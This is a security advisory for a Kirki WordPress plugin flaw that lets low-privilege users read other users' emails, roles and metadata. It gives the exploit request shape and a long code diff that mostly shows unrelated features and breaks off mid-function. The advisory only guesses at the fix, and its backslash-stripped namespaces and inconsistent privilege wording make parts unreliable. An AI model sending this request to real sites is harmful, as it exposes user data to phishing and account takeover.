Published : August 15, 2026

CVE-2026-18347: Kirki <= 6.1.1 Missing Authorization to Authenticated (Subscriber+) Sensitive Information Disclosure via 'context' Parameter PoC, Patch Analysis & Rule

Plugin kirki
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 6.1.1
Patched Version 6.2.0
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-18347: This vulnerability affects the Kirki plugin for WordPress, up to and including version 6.1.1. The issue is a missing authorization check that allows authenticated attackers with custom-level access or above to read arbitrary user metadata and sensitive user record fields. The flaw exists in the frontend collection endpoint, which fails to verify the requester’s permissions before processing the ‘context’ parameter.

The root cause lies in the handling of the ‘context’ parameter within the frontend collection endpoint. The plugin permits a user-type context without validating that the current user has the necessary authorization to access the target user’s data. The code path processes the request and queries user information, including email addresses, assigned roles, and user_meta values, without a capability check such as ‘list_users’ or verifying the nonce tied to the action. This results in an authorization bypass, categorizing the issue under CWE-862.

Exploitation is straightforward. An authenticated attacker, even with the lowest-level custom access, sends a crafted request to the frontend collection endpoint. The attacker supplies a ‘context’ parameter set to a user-type and includes the target user’s ID. The request structure allows the attacker to specify the user ID and retrieve sensitive information. A typical API request would be: POST /wp-json/kirki/v1/frontend/collection with parameters ‘context’ => ‘user’ and ‘id’ => . The plugin processes this request without verifying if the authenticated attacker has permission to view the target user’s metadata.

In the provided diff, the patch adds new constants such as WP_ADMIN_COMMON_DATA and updates DTOs like UpsertCollectionDTO and PagePayloadDTO. However, the critical fix for the authorization bypass requires adding a permission check within the collection endpoint code. The patch likely introduces a capability check, such as current_user_can(), before allowing the request to fetch user metadata based on the ‘context’ parameter. Before the patch, the endpoint honored the request without verifying permissions. After the patch, the endpoint should reject the request if the user lacks the necessary authorization.

If exploited, this vulnerability leads to sensitive information disclosure. An attacker can read the email addresses, roles, registration dates, and any user_meta values for any user on the WordPress site, including administrators. This information can be used for further attacks, such as targeted phishing, credential stuffing, or social engineering. The severity is moderate (CVSS 4.3) due to the authentication requirement, but the impact on user privacy and potential for subsequent attacks is significant.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/kirki/app/Constants/Form/FormActionTypes.php
+++ b/kirki/app/Constants/Form/FormActionTypes.php
@@ -0,0 +1,21 @@
+<?php
+
+namespace KirkiAppConstantsForm;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkConcernsHasConstants;
+
+/**
+ * Supported form-submission action types.
+ *
+ * These values mirror the `type` key stored on each entry of a form's
+ * `actions` configuration.
+ */
+class FormActionTypes
+{
+    use HasConstants;
+
+    const EMAIL = 'email';
+    const WEBHOOK = 'webhooks';
+}
--- a/kirki/app/Constants/Form/FormEmailBodyPartTypes.php
+++ b/kirki/app/Constants/Form/FormEmailBodyPartTypes.php
@@ -0,0 +1,21 @@
+<?php
+
+namespace KirkiAppConstantsForm;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkConcernsHasConstants;
+
+/**
+ * Supported part types for a composed email action body.
+ *
+ * These values mirror the `type` key stored on each entry of an email
+ * action's `body` configuration.
+ */
+class FormEmailBodyPartTypes
+{
+    use HasConstants;
+
+    const TEXT = 'text';
+    const FORM = 'form';
+}
--- a/kirki/app/Constants/Form/FormFieldTypes.php
+++ b/kirki/app/Constants/Form/FormFieldTypes.php
@@ -0,0 +1,25 @@
+<?php
+
+namespace KirkiAppConstantsForm;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkConcernsHasConstants;
+
+/**
+ * Supported input types for a submittable form field.
+ *
+ * These values mirror the `type` key stored on each entry of a form's
+ * `fields` configuration.
+ */
+class FormFieldTypes
+{
+    use HasConstants;
+
+    const EMAIL = 'email';
+    const NUMBER = 'number';
+    const TEL = 'tel';
+    const DATE = 'date';
+    const DATETIME_LOCAL = 'datetime-local';
+    const FILE = 'file';
+}
--- a/kirki/app/Constants/Form/FormWebhookMethods.php
+++ b/kirki/app/Constants/Form/FormWebhookMethods.php
@@ -0,0 +1,21 @@
+<?php
+
+namespace KirkiAppConstantsForm;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkConcernsHasConstants;
+
+/**
+ * Supported HTTP methods for a webhook action.
+ *
+ * These values mirror the `method` key stored on a form's `webhooks` action
+ * configuration.
+ */
+class FormWebhookMethods
+{
+    use HasConstants;
+
+    const GET = 'get';
+    const POST = 'post';
+}
--- a/kirki/app/Constants/OptionKeys.php
+++ b/kirki/app/Constants/OptionKeys.php
@@ -14,4 +14,5 @@
     const GLOBAL_DATA_POST_TYPE_ID = 'KIRKI_GLOBAL_DATA_POST_TYPE_ID';
     const DROIP_GLOBAL_DATA_POST_TYPE_ID = 'DROIP_GLOBAL_DATA_POST_TYPE_ID'; // @todo: will be removed if not needed
     const PAGE_ON_FRONT = 'page_on_front';
+    const WP_ADMIN_COMMON_DATA = 'kirki_wp_admin_common_data';
 }
--- a/kirki/app/Constants/PageMetaKeys.php
+++ b/kirki/app/Constants/PageMetaKeys.php
@@ -59,6 +59,10 @@

     const UTILITY_PAGE_TYPE = 'kirki_utility_page_type';

+    const CONTENT_MANAGER_COLLECTION_ID = 'kirki_content_manager_collection_id';
+
+    const CONTENT_MANAGER_PAGE_KIND = 'kirki_content_manager_page_kind';
+
     const PAGE_TEMPLATE = '_wp_page_template';

     /**
@@ -80,6 +84,8 @@
             static::TEMPLATE_CONDITIONS,
             static::TEMPLATE_COLLECTION_TYPE,
             static::UTILITY_PAGE_TYPE,
+            static::CONTENT_MANAGER_COLLECTION_ID,
+            static::CONTENT_MANAGER_PAGE_KIND,
             static::BLOCKS,
             static::STYLE_BLOCKS,
             static::USED_FONT_LIST,
--- a/kirki/app/Constants/UserMetaKeys.php
+++ b/kirki/app/Constants/UserMetaKeys.php
@@ -11,4 +11,9 @@
     use HasConstants;

     const CAPABILITIES = 'wp_capabilities';
+
+    /**
+     * @see KIRKI_USER_WALKTHROUGH_SHOWN_META_KEY
+     */
+    const WALKTHROUGH_SHOWN_STATE = 'user_walkthrough_shown_state';
 }
--- a/kirki/app/Contracts/FormActionHandler.php
+++ b/kirki/app/Contracts/FormActionHandler.php
@@ -0,0 +1,30 @@
+<?php
+
+namespace KirkiAppContracts;
+
+use Exception;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppDTOFormFormConfigDTO;
+
+/**
+ * A single form-submission action channel (email, webhook, mail client, ...).
+ *
+ * Each handler runs one configured action of its type. The dispatcher routes
+ * actions by type, so handlers stay fully independent — a new or changed
+ * handler can never break another.
+ */
+interface FormActionHandler
+{
+    /**
+     * Run a single configured action for the given submission.
+     *
+     * @param array         $action      A single configured action of this handler's type.
+     * @param array         $form_data   The submission data.
+     * @param FormConfigDTO $form_config The form configuration.
+     * @return bool Whether it succeeded. Fire-and-forget channels return true.
+     * @throws Exception on error
+     */
+    public function handle(array $action, array $form_data, FormConfigDTO $form_config);
+}
--- a/kirki/app/DTO/Collection/UpsertCollectionDTO.php
+++ b/kirki/app/DTO/Collection/UpsertCollectionDTO.php
@@ -15,6 +15,9 @@
     /** @var string */
     public $post_name;

+    /** @var string|null */
+    public $preset_type;
+
     /** @var array */
     public $fields;

--- a/kirki/app/DTO/Form/FormConfigDTO.php
+++ b/kirki/app/DTO/Form/FormConfigDTO.php
@@ -0,0 +1,54 @@
+<?php
+
+namespace KirkiAppDTOForm;
+
+use KirkiFrameworkSanitizer;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkDTO;
+
+class FormConfigDTO extends DTO
+{
+    /** @var string The form element's builder id. */
+    public $id;
+
+    /** @var string Whether the form posts to this site ('default') or an external URL ('external'). Not used server-side. */
+    public $type;
+
+    /** @var string */
+    public $name;
+
+    /** @var array */
+    public $fields = [];
+
+    /** @var array */
+    public $actions = [];
+
+    /** @var array Client-side "what to show after submit" config. Not used server-side. */
+    public $onSubmit = [];
+
+    /** @var array */
+    public $maxEntry = [];
+
+    /** @var array */
+    public $responseLimit = [];
+
+    /** @var bool */
+    public $saveData = false;
+
+    public function __construct(array $data = [])
+    {
+        parent::__construct($data);
+
+        $this->id = (string) $this->id;
+        $this->type = (string) $this->type;
+        $this->name = (string) $this->name;
+        $this->fields = is_array($this->fields) ? $this->fields : [];
+        $this->actions = is_array($this->actions) ? $this->actions : [];
+        $this->onSubmit = is_array($this->onSubmit) ? $this->onSubmit : [];
+        $this->maxEntry = is_array($this->maxEntry) ? $this->maxEntry : [];
+        $this->responseLimit = is_array($this->responseLimit) ? $this->responseLimit : [];
+        $this->saveData = Sanitizer::apply_rule($this->saveData, Sanitizer::BOOL);
+    }
+}
--- a/kirki/app/DTO/Page/PageFilterDTO.php
+++ b/kirki/app/DTO/Page/PageFilterDTO.php
@@ -0,0 +1,33 @@
+<?php
+
+namespace KirkiAppDTOPage;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppConstantsPostStatus;
+use KirkiAppConstantsPostTypes;
+use KirkiFrameworkDTO;
+
+class PageFilterDTO extends DTO
+{
+    /** @var string search param */
+    public $query;
+
+    /** @var int page number */
+    public $current_page = 1;
+
+    /** @var int number of posts per page */
+    public $limit = 20;
+
+    /** @var string[] post types */
+    public $post_types = [PostTypes::WP_PAGE];
+
+    /** @var int[] exclude page ids */
+    public $exclude_page_ids = [];
+
+    /** @var string[] */
+    public $post_statuses = [
+        PostStatus::PUBLISH,
+        PostStatus::DRAFT
+    ];
+}
 No newline at end of file
--- a/kirki/app/DTO/Page/PagePayloadDTO.php
+++ b/kirki/app/DTO/Page/PagePayloadDTO.php
@@ -28,4 +28,10 @@

     /** @var array|null */
     public $custom_template;
-}
 No newline at end of file
+
+    /** @var int|null */
+    public $content_manager_collection_id;
+
+    /** @var string|null */
+    public $content_manager_page_kind;
+}
--- a/kirki/app/FormActions/Actions/EmailActionHandler.php
+++ b/kirki/app/FormActions/Actions/EmailActionHandler.php
@@ -0,0 +1,170 @@
+<?php
+
+namespace KirkiAppFormActionsActions;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppConstantsFormFormEmailBodyPartTypes;
+use KirkiAppContractsFormActionHandler;
+use KirkiAppDTOFormFormConfigDTO;
+
+/**
+ * Sends a form submission over email, for a single configured `email` action.
+ */
+class EmailActionHandler implements FormActionHandler
+{
+    public function handle(array $action, array $form_data, FormConfigDTO $form_config)
+    {
+        $this->register_shortcodes($action, $form_data); //@todo: maybe we can implement this without wp shortcodes but a different approach as current implementation might collide with other shortcodes registered
+
+        return $this->send_single_email_action($action, $form_data, $form_config->name);
+    }
+
+    /**
+     * Register shortcodes referenced by the email action's fields.
+     *
+     * @param array $action
+     * @param array $form_data
+     * @return void
+     */
+    protected function register_shortcodes($action, $form_data)
+    {
+        $this->register_shortcodes_from_field($action['emailList'] ?? '', $form_data);
+        $this->register_shortcodes_from_field($action['replyTo'] ?? '', $form_data);
+        $this->register_shortcodes_from_field($action['name'] ?? '', $form_data);
+        $this->register_shortcodes_from_field($action['subject'] ?? '', $form_data);
+
+        add_shortcode(
+            'admin_email',
+            function () {
+                return get_option('admin_email');
+            }
+        );
+    }
+
+    /**
+     * Register shortcodes referenced in a single email action field.
+     *
+     * @param string $field_value The field value containing shortcodes.
+     * @param array  $form_data   The form data to use for shortcode values.
+     * @return void
+     */
+    protected function register_shortcodes_from_field($field_value, $form_data)
+    {
+        if (empty($field_value)) {
+            return;
+        }
+
+        $regex = '/[([^]]+)]/';
+        preg_match_all($regex, $field_value, $matches);
+
+        foreach (($matches[1] ?? []) as $match) {
+            if (isset($form_data[$match])) {
+                add_shortcode($match, fn() => $form_data[$match]);
+            }
+        }
+    }
+
+    /**
+     * Send a single email action.
+     *
+     * @param array  $email_action Email action configuration.
+     * @param array  $form_data    Form data.
+     * @param string $form_name    Form name.
+     * @return bool
+     */
+    protected function send_single_email_action($email_action, $form_data, $form_name)
+    {
+        $body = $this->convert_form_data_into_html_for_email($form_data);
+        $reply_to = '';
+        $name = '';
+        $subject = 'New ' . $form_name;
+        $header = [];
+
+        if (isset($email_action['body']) && is_array($email_action['body'])) {
+            $body = $this->build_email_body($email_action['body'], $form_data);
+        }
+
+        if (isset($email_action['replyTo'])) {
+            $reply_to = do_shortcode($email_action['replyTo']);
+        }
+
+        if (isset($email_action['name'])) {
+            $name = do_shortcode($email_action['name']);
+        }
+
+        if (isset($email_action['subject'])) {
+            $subject = do_shortcode($email_action['subject']);
+        }
+
+        if (strlen($reply_to) > 0 && strlen($name) > 0) {
+            $header = ['Reply-To: ' . $name . ' <' . $reply_to . '>'];
+        }
+
+        if (isset($email_action['emailList']) && !empty($email_action['emailList'])) {
+            return $this->send_email_notification(do_shortcode($email_action['emailList']), $subject, $body, $header);
+        }
+
+        return false;
+    }
+
+    /**
+     * Build the email body from a body configuration.
+     *
+     * @param array $body_config Body configuration.
+     * @param array $form_data   Form data.
+     * @return string Email body HTML.
+     */
+    protected function build_email_body($body_config, $form_data)
+    {
+        $body_parts = [];
+
+        foreach ($body_config as $body_data) {
+            if (!isset($body_data['type'], $body_data['value'])) {
+                continue;
+            }
+
+            if ($body_data['type'] === FormEmailBodyPartTypes::TEXT) {
+                $body_parts[] = $body_data['value'];
+            } elseif ($body_data['type'] === FormEmailBodyPartTypes::FORM && isset($form_data[$body_data['value']])) {
+                $body_parts[] = $form_data[$body_data['value']];
+            }
+        }
+        return nl2br(implode('', $body_parts));
+    }
+
+    /**
+     * Convert form data into an HTML list for email.
+     *
+     * @param array $form_data Form data.
+     * @return string
+     */
+    protected function convert_form_data_into_html_for_email($form_data = [])
+    {
+        $html = '<ul>';
+
+        if (is_array($form_data)) {
+            foreach ($form_data as $key => $value) {
+                $html .= '<li>' . esc_html($key) . ': ' . esc_html($value) . '</li>';
+            }
+        }
+
+        $html .= '</ul>';
+        return $html;
+    }
+
+    /**
+     * Send an email notification.
+     *
+     * @param string|string[] $to      Address(es) to send to.
+     * @param string          $subject Email subject.
+     * @param string          $message Message contents.
+     * @param array           $headers Email headers.
+     * @return bool
+     */
+    protected function send_email_notification($to, $subject, $message, $headers = [])
+    {
+        $headers[] = 'Content-Type: text/html; charset=UTF-8';
+        return wp_mail($to, $subject, $message, $headers);
+    }
+}
--- a/kirki/app/FormActions/Actions/WebhookActionHandler.php
+++ b/kirki/app/FormActions/Actions/WebhookActionHandler.php
@@ -0,0 +1,69 @@
+<?php
+
+namespace KirkiAppFormActionsActions;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppConstantsFormFormWebhookMethods;
+use KirkiAppContractsFormActionHandler;
+use KirkiAppDTOFormFormConfigDTO;
+use KirkiFrameworkSupportsFacadesHttp;
+
+/**
+ * Delivers a submission to a single configured webhook endpoint.
+ *
+ * Unlike the other channels, a webhook transport failure marks the whole
+ * submission as failed, so this is the only handler whose return value can be
+ * false.
+ */
+class WebhookActionHandler implements FormActionHandler
+{
+    public function handle(array $webhook, array $form_data, FormConfigDTO $form_config)
+    {
+        if (!isset($webhook['action'], $webhook['method'])) {
+            return false;
+        }
+
+        if ($webhook['method'] === FormWebhookMethods::GET) {
+            return $this->send_get($webhook['action'], $form_data);
+        }
+
+        if ($webhook['method'] === FormWebhookMethods::POST) {
+            return $this->send_post($webhook['action'], $form_data);
+        }
+
+        return false;
+    }
+
+    /**
+     * Send a GET webhook request.
+     *
+     * @param string $url       Webhook URL.
+     * @param array  $form_data Form data.
+     * @return bool Success status.
+     */
+    protected function send_get($url, $form_data)
+    {
+        $query_string = http_build_query($form_data);
+        $url = rtrim($url, '/');
+        $url .= '/';
+
+        $response = Http::get($url . '?' . $query_string);
+
+        return $response->status() !== 0;
+    }
+
+    /**
+     * Send a POST webhook request.
+     *
+     * @param string $url       Webhook URL.
+     * @param array  $form_data Form data.
+     * @return bool Success status.
+     */
+    protected function send_post($url, $form_data)
+    {
+        $response = Http::as_form()->post($url, $form_data);
+
+        return $response->status() !== 0;
+    }
+}
--- a/kirki/app/FormActions/FormActionDispatcher.php
+++ b/kirki/app/FormActions/FormActionDispatcher.php
@@ -0,0 +1,58 @@
+<?php
+
+namespace KirkiAppFormActions;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppDTOFormFormConfigDTO;
+
+use function KirkiFrameworkapp;
+
+/**
+ * Routes each configured form action to the handler registered for its type.
+ *
+ * Only the types a submission actually configures are resolved, so a form that
+ * uses one action type never instantiates the others' handlers.
+ */
+class FormActionDispatcher
+{
+    /**
+     * @var array<string, class-string> Action type => handler class.
+     */
+    protected $handler_map;
+
+    /**
+     * @param array<string, class-string> $handler_map Action type => handler class.
+     */
+    public function __construct(array $handler_map)
+    {
+        $this->handler_map = $handler_map;
+    }
+
+    /**
+     * Dispatch every configured action to its handler.
+     *
+     * @param array         $form_data   The submission data.
+     * @param FormConfigDTO $form_config The form configuration.
+     * @return bool Whether every dispatched action succeeded.
+     * @throws Exception on error
+     */
+    public function dispatch(array $form_data, FormConfigDTO $form_config)
+    {
+        $success = true;
+        $handlers = [];
+
+        foreach ($form_config->actions as $action) {
+            $type = $action['type'] ?? null;
+
+            if (!$type || !isset($this->handler_map[$type])) {
+                continue;
+            }
+
+            $handler = $handlers[$type] ?? ($handlers[$type] = app($this->handler_map[$type]));
+            $success = $handler->handle($action, $form_data, $form_config) && $success;
+        }
+
+        return $success;
+    }
+}
--- a/kirki/app/Http/Controllers/Api/CollaborationController.php
+++ b/kirki/app/Http/Controllers/Api/CollaborationController.php
@@ -0,0 +1,42 @@
+<?php
+
+namespace KirkiAppHttpControllersApi;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppDTOCollaborationCreateCollaborationDTO;
+use KirkiAppHttpRequestsCollaborationRequest;
+use KirkiAppServicesCollaborationService;
+
+use function KirkiFrameworkcollection;
+use function KirkiFrameworkresponse;
+
+class CollaborationController
+{
+
+    /**
+     * @var CollaborationService
+     */
+    protected $service;
+
+    public function __construct(CollaborationService $service)
+    {
+        $this->service = $service;
+    }
+
+    public function save_actions(CollaborationRequest $request)
+    {
+        $payload = collection($request->array('data', []))->map(function ($data) use ($request) {
+            return CreateCollaborationDTO::from_array([
+                'session_id' => $request->string('session_id'),
+                'parent' => $data['parent'] ?? '',
+                'parent_id' => $data['parent_id'] ?? 0,
+                'data' => $data['action'] ?? [],
+            ]);
+        });
+
+        return response()->json([
+            'data' => $this->service->save_actions($payload),
+        ]);
+    }
+}
 No newline at end of file
--- a/kirki/app/Http/Controllers/Api/CollectionController.php
+++ b/kirki/app/Http/Controllers/Api/CollectionController.php
@@ -100,13 +100,13 @@
     {
         $is_valid = ContentManager::validate_slug(
             $request->int('post_id', 0),
-            $request->string('post_type'),
-            $request->string('post_name')
+            $request->string('post_type', ''),
+            $request->string('post_name', '')
         );

         return response()->json([
             'data' => $is_valid,
-            'message' => __('Slug validated successfully.', 'kirki'),
+            'message' => $is_valid ? __('Slug validated successfully..', 'kirki') : __('Slug is not available.', 'kirki'),
         ]);
     }
 }
--- a/kirki/app/Http/Controllers/Api/EditorController.php
+++ b/kirki/app/Http/Controllers/Api/EditorController.php
@@ -24,7 +24,7 @@

     public function back_to_kirki_editor(Request $request)
     {
-        $page = PageModel::find($request->int('postId'));
+        $page = PageModel::exclude_trash()->find($request->int('postId'));

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -41,7 +41,7 @@

     public function back_to_wordpress_editor(Request $request)
     {
-        $page = PageModel::find($request->int('postId'));
+        $page = PageModel::exclude_trash()->find($request->int('postId'));

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
--- a/kirki/app/Http/Controllers/Api/FormController.php
+++ b/kirki/app/Http/Controllers/Api/FormController.php
@@ -0,0 +1,46 @@
+<?php
+
+namespace KirkiAppHttpControllersApi;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiAppServicesFormSubmissionService;
+use function KirkiFrameworkresponse;
+
+/**
+ * Handles front-end form submissions.
+ *
+ * Route: POST /kirki/v1/frontend/form (public).
+ */
+class FormController
+{
+	/**
+	 * @var FormSubmissionService
+	 */
+	protected $service;
+
+	/**
+	 * @param FormSubmissionService $service
+	 */
+	public function __construct(FormSubmissionService $service)
+	{
+		$this->service = $service;
+	}
+
+	/**
+	 * Store a form submission.
+	 *
+	 * @param Request $request The submission request.
+	 * @return KirkiFrameworkHttpJsonResponse
+	 */
+	public function store(Request $request)
+	{
+		$result = $this->service->handle($request->all(), $request->all_files());
+
+		return response()->json([
+			'data' => $result,
+			'message' => __('Form submitted successfully.', 'kirki'),
+		]);
+	}
+}
--- a/kirki/app/Http/Controllers/Api/PageController.php
+++ b/kirki/app/Http/Controllers/Api/PageController.php
@@ -9,17 +9,23 @@
 use KirkiAppDTOPageEditorPagePayloadDTO;
 use KirkiAppDTOPageEditPageDTO;
 use KirkiAppDTOPageEditPopupDTO;
+use KirkiAppDTOPagePageFilterDTO;
 use KirkiAppDTOPagePagePayloadDTO;
 use KirkiAppDTOPageTogglePageSymbolDTO;
+use KirkiAppHttpRequestsCollectionItemCollectionItemConditionRequest;
 use KirkiAppHttpRequestsPagePageDataRequest;
 use KirkiAppHttpRequestsPagePageRequest;
 use KirkiAppHttpRequestsPagePageUpdateRequest;
 use KirkiAppHttpRequestsPagePopupRequest;
+use KirkiAppHttpRequestsPageRenameStagingVersionRequest;
+use KirkiAppHttpRequestsPageStagingVersionRequest;
 use KirkiAppHttpRequestsPageTogglePageSymbolRequest;
 use KirkiAppModelsPage as PageModel;
+use KirkiAppModelsPost as PostModel;
 use KirkiAppResourcesPageContentResource;
 use KirkiAppResourcesPageResource;
 use KirkiAppServicesPageService;
+use KirkiAppSupportsCollectionItem;
 use KirkiAppSupportsFacadesPage;
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkHttpResponse;
@@ -50,7 +56,7 @@

     public function save_page_data(PageDataRequest $request, int $page_id, string $page_content_type)
     {
-        $page = PageModel::find($page_id);
+        $page = PageModel::exclude_trash()->find($page_id);

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -68,7 +74,7 @@
         ], Response::OK);
     }

-    public function publish_staging_version(Request $request)
+    public function get_all_staged_versions(Request $request)
     {
         $page = PageModel::find($request->int('page_id'));

@@ -77,14 +83,72 @@
         }

         return response()->json([
+            'data' => Page::get_all_staged_versions($page->ID, false),
+        ], Response::OK);
+    }
+
+    public function publish_staging_version(Request $request)
+    {
+        $page = PageModel::exclude_trash()->find($request->int('page_id'));
+
+        if (empty($page)) {
+            throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+        }
+
+        return response()->json([
             'data' => Page::publish_stage_version($page->ID),
             'message' => __('Staging version published successfully.', 'kirki'),
         ], Response::OK);
     }

+    public function rename_staging_version(RenameStagingVersionRequest $request)
+    {
+        $page = PageModel::find($request->int('page_id'));
+
+        if (empty($page)) {
+            throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+        }
+
+        return response()->json([
+            'data' => Page::rename_stage_version($page->ID, $request->int('version_id'), $request->string('name')),
+            'message' => __('Staging version renamed successfully.', 'kirki'),
+        ], Response::OK);
+    }
+
+    public function restore_staging_version(StagingVersionRequest $request)
+    {
+        $page = PageModel::find($request->int('page_id'));
+
+        if (empty($page)) {
+            throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+        }
+
+        return response()->json([
+            'data' => [
+                'new_version' => Page::restore_stage_version($page->ID, $request->int('version_id')),
+                'versions' => Page::get_all_staged_versions($page->ID, false),
+            ],
+            'message' => __('Staging version renamed successfully.', 'kirki'),
+        ], Response::OK);
+    }
+
+    public function remove_staging_version(StagingVersionRequest $request)
+    {
+        $page = PageModel::find($request->int('page_id'));
+
+        if (empty($page)) {
+            throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+        }
+
+        return response()->json([
+            'data' => Page::remove_stage_version($page->ID, $request->int('version_id')),
+            'message' => __('Staging version removed successfully.', 'kirki'),
+        ], Response::OK);
+    }
+
     public function update(PageUpdateRequest $request, int $page_id)
     {
-        $page = PageModel::find($page_id);
+        $page = PageModel::exclude_trash()->find($page_id);

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -102,7 +166,7 @@

     public function update_popup(PopupRequest $request, int $popup_id)
     {
-        $popup = PageModel::find($popup_id);
+        $popup = PageModel::exclude_trash()->find($popup_id);

         if (empty($popup) || $popup->post_type !== PostTypes::POPUP) {
             throw new Exception(esc_html__('Popup not found.', 'kirki'), Response::NOT_FOUND);
@@ -120,7 +184,7 @@

     public function toggle_disabled_page_symbols(TogglePageSymbolRequest $request)
     {
-        $page = PageModel::find($request->int('post_id'));
+        $page = PageModel::exclude_trash()->find($request->int('post_id'));

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -139,7 +203,7 @@

     public function duplicate(Request $request)
     {
-        $page = PageModel::find($request->int('page_id'));
+        $page = PageModel::exclude_trash()->find($request->int('page_id'));

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -153,7 +217,7 @@

     public function delete(Request $request)
     {
-        $page = PageModel::find($request->int('page_id'));
+        $page = PageModel::exclude_trash()->find($request->int('page_id'));

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -169,6 +233,71 @@
         ]);
     }

+    public function paginated(Request $request)
+    {
+        $filter_dto = PageFilterDTO::from_array([
+            'query' => $request->string('query'),
+            'current_page' => $request->int('page', 1),
+            'limit' => $request->int('numberposts', 20),
+            'post_types' => $request->array('post_types', []),
+            'exclude_page_ids' => $request->array('exclude_post_ids', []),
+        ]);
+
+        return response()->json([
+            'data' => PageResource::paginated($this->service->paginated($filter_dto)),
+        ]);
+    }
+
+    public function page_panel_pages(Request $request)
+    {
+        $filter_dto = PageFilterDTO::from_array([
+            'query' => $request->string('query'),
+            'current_page' => $request->int('page', 1),
+            'limit' => $request->int('numberposts', 20),
+            'post_types' => $request->array('post_types', [PostTypes::WP_PAGE]),
+        ]);
+
+        return response()->json([
+            'data' => PageResource::paginated($this->service->paginated($filter_dto)),
+        ]);
+    }
+
+    public function get_wp_single_post(Request $request)
+    {
+        $post = PostModel::exclude_trash()->find($request->int('post_id'));
+
+        if (empty($post)) {
+            throw new Exception(esc_html__('Post not found.', 'kirki'), Response::NOT_FOUND);
+        }
+
+        return response()->json([
+            'data' => $post,
+        ]);
+    }
+
+    public function get_current_page(Request $request)
+    {
+        $page = PageModel::exclude_trash()->find($request->int('page_id'));
+
+        if (empty($page)) {
+            throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+        }
+
+        return response()->json([
+            'data' => PageResource::make($page),
+        ]);
+    }
+
+    public function get_data_list_for_template_edit_search_flyout(CollectionItemConditionRequest $request)
+    {
+        $query = $request->string('query', '');
+        $conditions = $request->array('conditions', []);
+
+        return response()->json([
+            'data' => CollectionItem::get_items_from_condition($conditions, $query)['data'] ?? [],
+        ]);
+    }
+
     public function get_page_content(Request $request)
     {
         $page = PageModel::find($request->int('page_id'));
--- a/kirki/app/Http/Controllers/Api/PageSettingsController.php
+++ b/kirki/app/Http/Controllers/Api/PageSettingsController.php
@@ -27,7 +27,7 @@

     public function update_page_settings(PageSettingsRequest $request, int $page_id)
     {
-        $page = PageModel::find($page_id);
+        $page = PageModel::exclude_trash()->find($page_id);

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
--- a/kirki/app/Http/Controllers/Api/PostController.php
+++ b/kirki/app/Http/Controllers/Api/PostController.php
@@ -0,0 +1,55 @@
+<?php
+
+namespace KirkiAppHttpControllersApi;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppHttpRequestsPostPostSlugValidationRequest;
+use KirkiAppServicesPostService;
+use KirkiAppSupportsContentManager;
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkHttpResponse;
+use function KirkiFrameworkresponse;
+
+class PostController
+{
+    /**
+     * @var PostService
+     */
+    protected $service;
+
+    public function __construct(PostService $service)
+    {
+        $this->service = $service;
+    }
+
+    /**
+     * Validate WP post slug
+     *
+     * @since 6.0.14
+     *
+     * @param Request $request
+     *
+     * @return Response Returns a JSON response with the validation result.
+     */
+    public function validate_slug(PostSlugValidationRequest $request)
+    {
+        $is_valid = ContentManager::validate_slug(
+            $request->int('post_id', 0),
+            $request->string('post_type'),
+            $request->string('post_name')
+        );
+
+        return response()->json([
+            'data' => $is_valid,
+            'message' => $is_valid ? __('Slug validated successfully..', 'kirki') : __('Slug is not available.', 'kirki'),
+        ]);
+    }
+
+    public function get_all_posts_grouped_by_type(Request $request)
+    {
+        return response()->json([
+            'data' => $this->service->get_all_posts_grouped_by_type($request->string('search', '')),
+        ]);
+    }
+}
--- a/kirki/app/Http/Controllers/Api/UserController.php
+++ b/kirki/app/Http/Controllers/Api/UserController.php
@@ -4,8 +4,11 @@

 defined('ABSPATH') || exit;

+use KirkiAppConstantsUserMetaKeys;
 use KirkiFrameworkHttpRequest;
+use KirkiFrameworkWordpressUserMeta;

+use function KirkiAppto_boolean;
 use function KirkiFrameworkresponse;
 use function KirkiFrameworkuser;

@@ -21,4 +24,22 @@
             ],
         ]);
     }
+
+    public function set_walkthrough_state(Request $request) {
+        $state = $request->bool('walkthrough_shown_state', false);
+
+        UserMeta::update(user()->get_id(), UserMetaKeys::WALKTHROUGH_SHOWN_STATE, $state);
+
+        return response()->json([
+            'data' => true,
+        ]);
+    }
+
+    public function get_walkthrough_state(Request $request) {
+        $state = UserMeta::get(user()->get_id(), UserMetaKeys::WALKTHROUGH_SHOWN_STATE);
+
